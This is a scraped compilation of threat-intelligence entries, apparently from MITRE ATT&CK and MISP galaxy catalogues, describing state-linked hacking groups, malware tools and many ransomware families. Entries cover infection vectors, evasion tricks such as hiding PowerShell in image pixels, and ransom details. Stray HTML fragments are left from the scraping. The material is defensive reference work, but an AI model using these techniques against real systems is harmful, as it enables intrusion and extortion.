North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

**menuPass - G0045**

[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018)

OilRig - G0049

[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.

**Olympic Destroyer - S0365**

[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)

**Shamoon - S0140**

[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)

**SamSam - S0370**

[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components. (Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)

**BlackEnergy - S0089**

[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. **Proxysvc - S0238**

[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)

TrickBot - S0266

[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. KONNI - S0356

[KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration tool that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes. (Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067). (Citation: Unit 42 NOKKI Sept 2018) (Citation: Unit 42 Nokki Oct 2018) (Citation: Medium KONNI Jan 2020)

**NotPetya - S0368**

[NotPetya](https://attack.mitre.org/software/S0368) is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though [NotPetya](https://attack.mitre.org/software/S0368) presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such,
[NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance. (Citation: Talos Nyetya June 2017)(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)

**MAZE - S0449**

[MAZE](https://attack.mitre.org/software/S0449) ransomware, previously known as "ChaCha", was discovered in May 2019. In addition to encrypting files on victim machines for impact, [MAZE](https://attack.mitre.org/software/S0449) operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies.(Citation: FireEye Maze May 2020)(Citation: McAfee Maze March 2020)

**Goopy - S0477**

[Goopy](https://attack.mitre.org/software/S0477) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050) and shares several similarities to another backdoor used by the group ([Denis](https://attack.mitre.org/software/S0354)). [Goopy](https://attack.mitre.org/software/S0477) is named for its impersonation of the legitimate Google Updater executable. ([Citation: Cybereason Cobalt Kitty 2017](https://attack.mitre.org/software/S0477))

**Cobalt Strike - S0154**

[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)

In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)

Invoke-PSImage - S0231

[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file or from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)

Tor - S0183

[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)

Empire - S0363

[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries. RawDisk - S0364

[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features. Preventive Measure

Preventive measures based on the ransomware document overview as published in https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml#. The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures.

Preventive Measure is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Backup and Restore Process

Make sure to have adequate backup processes on place and frequently test a restore of these backups. (Schrödinger's backup - it is both existent and non-existent until you've tried a restore)

The tag is: misp-galaxy:preventive-measure="Backup and Restore Process"

### FLKR Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: `misp-galaxy:ransomware="FLKR Ransomware"`

### PopCorn Time Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. These hackers claim to be students from Syria. This ransomware poses as the popular torrent movie screener called PopCorn. These criminals give you the chance to retrieve your files “for free” by spreading this virus to others. Like shown in the note bellow:  

The tag is: `misp-galaxy:ransomware="PopCorn Time Ransomware"`
HackedLocker Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... NO POINT OF PAYING THE RANSOM—THE HACKER DOES NOT GIVE A DECRYPT AFTERWARDS.

The tag is: misp-galaxy:ransomware="HackedLocker Ransomware"

GoldenEye Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: misp-galaxy:ransomware="GoldenEye Ransomware"

Sage Ransomware

It's directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc...

The tag is: misp-galaxy:ransomware="Sage Ransomware"
**SQ_ Ransomware**

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc... This hacker requests 4 bitcoins for ransom.

The tag is: *misp-galaxy:ransomware*="SQ Ransomware"

SQ_ Ransomware is also known as:

- VO_ Ransomware

Jaff

We recently observed several large scale email campaigns that were attempting to distribute a new variant of ransomware that has been dubbed "Jaff". Interestingly we identified several characteristics that we have previously observed being used during Dridex and Locky campaigns. In a short period of time, we observed multiple campaigns featuring high volumes of malicious spam emails being distributed, each using a PDF attachment with an embedded Microsoft Word document functioning as the initial downloader for the Jaff ransomware.

**SynAck**

The ransomware does not use a customized desktop wallpaper to signal its presence, and the only way to discover that SynAck has infected your PC is by the ransom notes dropped on the user’s desktop, named in the format: RESTORE_INFO-[id].txt. For example: RESTORE_INFO-4ABFA0EF.txt. In addition, SynAck also appends its own extension at the end of all files it encrypted. This file
extensions format is ten random alpha characters for each file. For example: test.jpg.XbMijQiuoh. Experts believe the group behind SynAck uses RDP brute-force attacks to access remote computers and manually download and install the ransomware.

The tag is: misp-galaxy:ransomware="SynAck"

Bad Rabbit

On October 24, 2017, Cisco Talos was alerted to a widescale ransomware campaign affecting organizations across eastern Europe and Russia. As was the case in previous situations, we quickly mobilized to assess the situation and ensure that customers remain protected from this and other threats as they emerge across the threat landscape. There have been several large scale
ransomware campaigns over the last several months. This appears to have some similarities to Nyetya in that it is also based on Petya ransomware. Major portions of the code appear to have been rewritten. The distribution does not appear to have the sophistication of the supply chain attacks we have seen recently.

**StorageCrypt**

Recently BleepingComputer has received a flurry of support requests for a new ransomware being named StorageCrypt that is targeting NAS devices such as the Western Digital My Cloud. Victims have been reporting that their files have been encrypted and a note left with a ransom demand of
between .4 and 2 bitcoins to get their files back. User’s have also reported that each share on their NAS device contains a Autorun.inf file and a Windows executable named 美女与野兽 .exe, which translates to Beauty and the beast. From the samples BleepingComputer has received, this Autorun.inf is an attempt to spread the 美女与野兽 .exe file to other computers that open the folders on the NAS devices.

The tag is: misp-galaxy:ransomware="StorageCrypt"

HC7

A new ransomware called HC7 is infecting victims by hacking into Windows computers that are running publicly accessible Remote Desktop services. Once the developers gain access to the hacked computer, the HC7 ransomware is then installed on all accessible computers on the network. Originally released as HC6, victims began posting about it in the BleepingComputer forums towards the end of November. As this is a Python-to-exe executable, once the script was extracted ID Ransomware creator Michael Gillespie was able determine that it was decryptable and released a decryptor. Unfortunately, a few days later, the ransomware developers released a new version called HC7 that was not decryptable. This is because they removed the hard coded encryption key and instead switched to inputting the key as a command line argument when the attackers run the ransomware executable. Thankfully, there may be a way to get around that as well so that victims can recover their keys.

The tag is: misp-galaxy:ransomware="HC7"

</thead>
</table>

Scarab

The Scarab ransomware is a relatively new ransomware strain that was first spotted by security researcher Michael Gillespie in June this year. Written in Delphi, the first version was simplistic and was recognizable via the ".scarab" extension it appended after the names of encrypted files. Malwarebytes researcher Marcelo Rivera spotted a second version in July that used the ".scorpio" extension. The version spotted with the Necurs spam today has reverted back to using the .scarab extension. The current version of Scarab encrypts files but does not change original file names as previous versions. This Scarab version appends each file's name with the ".[s support@protonmail.com].scarab" extension. Scarab also deletes shadow volume copies and drops a ransom note named "IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT" on users' computers, which it opens immediately.

</tbody>
</table>

Black Ruby

A new ransomware was discovered this week by MalwareHunterTeam called Black Ruby. This ransomware will encrypt the files on a computer, scramble the file name, and then append the BlackRuby extension. To make matters worse, Black Ruby will also install a Monero miner on the computer that utilizes as much of the CPU as it can. Discovered on February 6, 2018. May have been distributed through unknown vectors. Will not encrypt a machine if its IP address is identified as coming from Iran; this feature enables actors to avoid a particular Iranian cybercrime law that prohibits Iran-based actors from attacking Iranian victims. Encrypts files on the infected machine, scrambles files, and appends the .BlackRuby extension to them. Installs a Monero miner on the infected computer that utilizes the machine's maximum CPU power. Delivers a ransom note in English asking for US$650 in Bitcoins. Might be installed via Remote Desktop Services.

The tag is: `misp-galaxy:ransomware="Black Ruby"

---

LockCrypt

LockCrypt is an example of yet another simple ransomware created and used by unsophisticated attackers. Its authors ignored well-known guidelines about the proper use of cryptography. The internal structure of the application is also unprofessional. Sloppy, unprofessional code is pretty commonplace when ransomware is created for manual distribution. Authors don't take much time preparing the attack or the payload. Instead, they're rather focused on a fast and easy gain, rather than on creating something for the long run. Because of this, they could easily be defeated.

The tag is: `misp-galaxy:ransomware="LockCrypt"`
Magniber Ransomware

Magniber is a new ransomware being distributed by the Magnitude Exploit Kit that appears to be the successor to the Cerber Ransomware. While many aspects of the Magniber Ransomware are different than Cerber, the payment system and the files it encrypts are very similar.

The tag is: `misp-galaxy:ransomware="Magniber Ransomware"`

Vurten

The tag is: `misp-galaxy:ransomware="Vurten"`

Reveton ransomware

A ransomware family that targets users from certain countries or regions. It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material. The Reveton ransomware is one of the first screen-locking ransomware strains, and it appeared when Bitcoin was still in its infancy, and before it became the cryptocurrency of choice in all ransomware operations. Instead, Reveton operators asked victims to buy GreenDot MoneyPak vouchers, take the code on the voucher and enter it in the Reveton screen locker.
Fusob

Fusob is one of the major mobile ransomware families. Between April 2015 and March 2016, about 56 percent of accounted mobile ransomware was Fusob. Like a typical mobile ransomware, it employs scare tactics to extort people to pay a ransom. The program pretends to be an accusatory authority, demanding the victim to pay a fine from $100 to $200 USD or otherwise face a fictitious charge. Rather surprisingly, Fusob suggests using iTunes gift cards for payment. Also, a timer clicking down on the screen adds to the users’ anxiety as well. In order to infect devices, Fusob masquerades as a pornographic video player. Thus, victims, thinking it is harmless, unwittingly download Fusob. When Fusob is installed, it first checks the language used in the device. If it uses Russian or certain Eastern European languages, Fusob does nothing. Otherwise, it proceeds on to lock the device and demand ransom. Among victims, about 40% of them are in Germany with the United Kingdom and the United States following with 14.5% and 11.4% respectively. Fusob has lots in common with Small, which is another major family of mobile ransomware. They represented over 93% of mobile ransomes between 2015 and 2016.

NMCRYPT Ransomware

The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.

The tag is: misp-galaxy:ransomware="NMCRYPT Ransomware"

Tron ransomware

The tag is: misp-galaxy:ransomware="Tron ransomware"
Unnamed ransomware 1

A new in-development ransomware was discovered that has an interesting characteristic. Instead of the distributed executable performing the ransomware functionality, the executables compile an embedded encrypted C# program at runtime and launches it directly into memory.

The tag is: misp-galaxy:ransomware="Unnamed ransomware 1"

HPE iLO 4 Ransomware

Attackers are targeting Internet accessible HPE iLO 4 remote management interfaces, supposedly encrypting the hard drives, and then demanding Bitcoins to get access to the data again. According to the victim, the attackers are demanding 2 bitcoins to gain access to the drives again. The attackers will also provide a bitcoin address to the victim that should be used for payment. These bitcoin addresses appear to be unique per victim as the victim’s was different from other reported ones. An interesting part of the ransom note is that the attackers state that the ransom price is not negotiable unless the victim’s are from Russia. This is common for Russian based attackers, who in many cases tries to avoid infecting Russian victims. Finally, could this be a decoy/wiper rather than an actual true ransomware attack? Ransomware attacks typically provide a unique ID to the victim in order to distinguish one victim from another. This prevents a victim from "stealing" another victim's payment and using it to unlock their computer. In a situation like this, where no unique ID is given to identify the encrypted computer and the email is publicly accessible, it could be a case where the main goal is to wipe a server or act as a decoy for another attack.

The tag is: misp-galaxy:ransomware="HPE iLO 4 Ransomware"
Sigrun Ransomware

When Sigrun is executed it will first check "HKEY_CURRENT_USER\Keyboard Layout\Preload" to see if it is set to the Russian layout. If the computer is using a Russian layout, it will not encrypt the computer and just delete itself. Otherwise Sigrun will scan a computer for files to encrypt and skip any that match certain extensions, filenames, or are located in particular folders.

**Aurora Ransomware**

Typical ransom software, Aurora virus plays the role of blackmailing PC operators. It encrypts files and the encryption cipher it uses is pretty strong. After encryption, the virus attaches .aurora at the end of the file names that makes it impossible to open the data. Thereafter, it dispatches the ransom note totaling 6 copies, without any change to the main objective i.e., victims must write an electronic mail addressed to anonimus.mr@yahoo.com while stay connected until the criminals reply telling the ransom amount.

DBGer Ransomware

The authors of the Satan ransomware have rebranded their "product" and they now go by the name of DBGer ransomware, according to security researcher MalwareHunter, who spotted this new
version earlier today. The change was not only in name but also in the ransomware's modus operandi. According to the researcher, whose discovery was later confirmed by an Intezer code similarity analysis, the new (Satan) DBGer ransomware now also incorporates Mimikatz, an open-source password-dumping utility. The purpose of DBGer incorporating Mimikatz is for lateral movement inside compromised networks. This fits a recently observed trend in Satan's modus operandi.

TYRANT

DUMB variant discovered on November 16, 2017. Disguised itself as a popular virtual private network (VPN) in Iran known as Psiphon and infected Iranian users. Included Farsi-language ransom note, decryptable in the same way as previous DUMB-based variants. Message requested only US$15 for unlock key. Advertised two local and Iran-based payment processors: exchange.ir and webmoney.ir. Shared unique and specialized indicators with RASTAKHIZ; iDefense threat intelligence analysts believe this similarity confirms that the same actor was behind the repurposing of both types of ransomware.

The tag is: misp-galaxy:ransomware="TYRANT"

TYRANT is also known as:

- Crypto Tyrant

Table 4529. Table References
WannaSmile

zCrypt variant discovered on November 17, 2017, one day after the discovery of TYRANT. Used Farsi-language ransom note asking for a staggering 20 Bitcoin ransom payment. Also advertised local Iran-based payment processors and exchanges—www.exchangeing[.]ir, www.payment24[.]ir, www.farhadexchange.net, and www.digiarz.com)—through which Bitcoins could be acquired.

The tag is: `misp-galaxy:ransomware="WannaSmile"`

Unnamed Android Ransomware

Uses APK Editor Pro. Picks and activates DEX>Smali from APK Editor. Utilizes LockService application and edits the “const-string v4, value” to a desired unlock key. Changes contact information within the ransom note. Once the victim has downloaded the malicious app, the only way to recover its content is to pay the ransom and receive the unlock key.

The tag is: `misp-galaxy:ransomware="Unnamed Android Ransomware"`

KEYPASS

A new distribution campaign is underway for a STOP Ransomware variant called KeyPass based on the amount of victims that have been seen. Unfortunately, how the ransomware is being distributed is unknown at this time.

The tag is: `misp-galaxy:ransomware="KEYPASS"`

KEYPASS is also known as:
STOP Ransomware

Emmanuel_ADC-Soft found a new STOP Ransomware variant that appends the .INFOWAIT extension and drops a ransom note named !readme.txt.

Acroware Cryptolocker Ransomware

Leo discovered a screenlocker that calls itself Acroware Cryptolocker Ransomware. It does not encrypt.

The tag is: misp-galaxy:ransomware="Acroware Cryptolocker Ransomware"

Acroware Cryptolocker Ransomware is also known as:

• Acroware Screenlocker

Termite Ransomware

Ben Hunter discovered a new ransomware called Termite Ransomware. When encrypting a computer it will append the .aaaaaa extension to encrypted files.

The tag is: misp-galaxy:ransomware="Termite Ransomware"
PICO Ransomware

S!Ri found a new Thanatos Ransomware variant called PICO Ransomware. This ransomware will append the .PICO extension to encrypted files and drop a ransom note named README.txt.

The tag is: `misp-galaxy:ransomware="PICO Ransomware"`

PICO Ransomware is also known as:

- Pico Ransomware

Sigma Ransomware

Today one of our volunteers, Aura, told me about a new malspam campaign pretending to be from Craigslist that is under way and distributing the Sigma Ransomware. These spam emails contain password protected Word or RTF documents that download the Sigma Ransomware executable from a remote site and install it on a recipients computer.

The tag is: `misp-galaxy:ransomware="Sigma Ransomware"`

Crypt0saur

The tag is: `misp-galaxy:ransomware="Crypt0saur"`

Mongo Lock

An attack called Mongo Lock is targeting remotely accessible and unprotected MongoDB databases, wiping them, and then demanding a ransom in order to get the contents back. While this new campaign is using a name to identify itself, these types of attacks are not new and MongoDB databases have been targeted for a while now. These hijacks work by attackers scanning the Internet or using services such as Shodan.io to search for unprotected MongoDB servers. Once connected, the attackers may export the databases, delete them, and then create a ransom note.
explaining how to get the databases back.

The tag is: `misp-galaxy:ransomware="Mongo Lock"`

### Kraken Cryptor Ransomware

The Kraken Cryptor Ransomware is a newer ransomware that was released in August 2018. A new version, called Kraken Cryptor 1.5, was recently released that is masquerading as the legitimate SuperAntiSpyware anti-malware program in order to trick users into installing it.

The tag is: `misp-galaxy:ransomware="Kraken Cryptor Ransomware"`

### SAVEfiles

The tag is: `misp-galaxy:ransomware="SAVEfiles"`

### File-Locker

The File-Locker Ransomware is a Hidden Tear variant that is targeting victims in Korea. When victim's are infected it will leave a ransom requesting 50,000 Won, or approximately 50 USD, to get the files back. This ransomware uses AES encryption with a static password of "dnwls07193147", so it is easily decryptable.

The tag is: `misp-galaxy:ransomware="File-Locker"`
CommonRansom

A new ransomware called CommonRansom was discovered that has a very bizarre request. In order to decrypt a computer after a payment is made, they require the victim to open up Remote Desktop Services on the affected computer and send them admin credentials in order to decrypt the victim's files.

The tag is: misp-galaxy:ransomware="CommonRansom"

God Crypt Joke Ransomware

MalwareHunterTeam found a new ransomware called God Crypt that does not appear to decrypt and appears to be a joke ransomware. Has an unlock code of 29b579fb811f05c3c334a2bd2646a27a.

The tag is: misp-galaxy:ransomware="God Crypt Joke Ransomware"

God Crypt Joke Ransomware is also known as:

**EnyBenyHorsuke Ransomware**

GrujaRS discovered a new ransomware called EnyBenyHorsuke Ransomware that appends the .Horsuke extension to encrypted files.

The tag is: misp-galaxy:ransomware="EnyBenyHorsuke Ransomware"

---

**DeLpHiMoRix**

DeLpHiMoRix is also known as:

- DelphiMorix

---

**EnyBeny Nuclear Ransomware**

@GrujaRS discovered a new in-dev ransomware called EnyBeny Nuclear Ransomware that meant to append the extension .PERSONAL_ID:.Nuclear to encrypted files, but failed due to a bug.
Lucky Ransomware

Michael Gillespie discovered a new ransomware that renamed encrypted files to "[original].[random].lucky" and drops a ransom note named *How_To_Decrypt_My_File*.txt.

WeChat Ransom

Over 100,000 thousand computers in China have been infected in just a few days with poorly-written ransomware that encrypts local files and steals credentials for multiple Chinese online services. The crooks show a screen titled UNNAMED1989 and demand the victim a ransom of 110 yuan ($16) in exchange for decrypting the files, payable via Tencent’s WeChat payment service by scanning a QR code.

WeChat Ransom is also known as:

- UNNAMED1989

Ryuk ransomware

Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk's appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD.

The tag is: `misp-galaxy:ransomware="Ryuk ransomware"`

Table 4572. Table References

<table>
<thead>
<tr>

BitPaymer

In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.'s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.
The tag is: misp-galaxy:ransomware="BitPaymer"

BitPaymer is also known as:

- FriedEx
- IEncrypt

**Princess Evolution**

We have been observing a malvertising campaign via Rig exploit kit delivering a cryptocurrency-mining malware and the GandCrab ransomware since July 25. On August 1, we found Rig's traffic stream dropping a then-unknown ransomware. Delving into this seemingly new ransomware, we checked its ransom payment page in the Tor network and saw it was called Princess Evolution (detected by Trend Micro as RANSOM_PRINCESSLOCKER.B), and was actually a new version of the Princess Locker ransomware that emerged in 2016. Based on its recent advertisement in underground forums, it appears that its operators are peddling Princess Evolution as a ransomware as a service (RaaS) and are looking for affiliates. The new malvertising campaign we observed since July 25 is notable in that the malvertisements included Coinhive (COINMINER_MALXMR.TIDBF). Even if users aren't diverted to the exploit kit and infected with the ransomware, the cybercriminals can still earn illicit profit through cryptocurrency mining. Another characteristic of this new campaign is that they hosted their malvertisement page on a free web hosting service and used domain name system canonical name (DNS CNAME) to map their advertisement domain on a malicious webpage on the service.

The tag is: misp-galaxy:ransomware="Princess Evolution"

Table 4575. Table References
Links

**Jokeroo**

A new Ransomware-as-a-Service called Jokeroo is being promoted on underground hacking sites and via Twitter that allows affiliates to allegedly gain access to a fully functional ransomware and payment server. According to a malware researcher named Damian, the Jokeroo RaaS first started promoting itself as a GandCrab Ransomware RaaS on the underground hacking forum Exploit.in.

The tag is: `misp-galaxy:ransomware="Jokeroo"`

Jokeroo is also known as:

- Fake GandCrab

*Table 4576. Table References*

Links

**GlobeImposter**

During December 2017, a new variant of the GlobeImposter Ransomware was detected for the first time and reported on malware-traffic-analysis. At first sight this ransomware looks very similar to other ransomware samples and uses common techniques such as process hollowing. However, deeper inspection showed that like LockPoS, which was analyzed by CyberBit, GlobeImposter too bypasses user-mode hooks by directly invoking system calls. Given this evasion technique is being leveraged by new malware samples may indicate that this is a beginning of a trend aiming to bypass user-mode security products.

The tag is: `misp-galaxy:ransomware="GlobeImposter"`

**BlackWorm**

BlackWorm Ransomware is a malicious computer infection that encrypts your files, and then does everything it can to prevent you from restoring them. It needs you to pay $200 for the decryption key, but there is no guarantee that the people behind this infection would really issue the decryption tool for you.

The tag is: `misp-galaxy:ransomware="BlackWorm"`
Tellyouthepass

Tellyouthepass is a ransomware that alters system files, registry entries and encodes personal photos, documents, and servers or archives. Army-grade encryption algorithms get used to change the original code of the file and make the data useless.

The tag is: misp-galaxy:ransomware="Tellyouthepass"

BigBobRoss

BigBobRoss ransomware is the cryptovirus that requires a ransom in Bitcoin to return encrypted files marked with .obfuscated appendix.

The tag is: misp-galaxy:ransomware="BigBobRoss"

Planetary

First discovered by malware security analyst, Lawrence Abrams, PLANETARY is an updated variant of another high-risk ransomware called HC7.

The tag is: misp-galaxy:ransomware="Planetary"

Cr1ptT0r

Cr1ptT0r Ransomware Targets NAS Devices with Old Firmware.

The tag is: misp-galaxy:ransomware="Cr1ptT0r"

Cr1ptT0r is also known as:
Sodinokibi

Attackers are actively exploiting a recently disclosed vulnerability in Oracle WebLogic to install a new variant of ransomware called "Sodinokibi." Sodinokibi attempts to encrypt data in a user’s directory and delete shadow copy backups to make data recovery more difficult. Oracle first patched the issue on April 26, outside of their normal patch cycle, and assigned it CVE-2019-2725. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Because of this, the bug has a CVSS score of 9.8/10. Attackers have been making use of this exploit in the wild since at least April 17. Cisco's Incident Response (IR) team, along with Cisco Talos, are actively investigating these attacks and Sodinokibi.

The tag is: misp-galaxy:ransomware="Sodinokibi"

Sodinokibi is also known as:

- REvil
- Revil

Phobos

Phobos exploits open or poorly secured RDP ports to sneak inside networks and execute a ransomware attack, encrypting files and demanding a ransom be paid in bitcoin for returning the files, which in this case are locked with a .phobos extension.

The tag is: misp-galaxy:ransomware="Phobos"
GetCrypt

A new ransomware is in the dark market which encrypts all the files on the device and redirects victims to the RIG exploit kit.

The tag is: misp-galaxy:ransomware="GetCrypt"

</tbody>
</table>

**Nodera Ransomware**

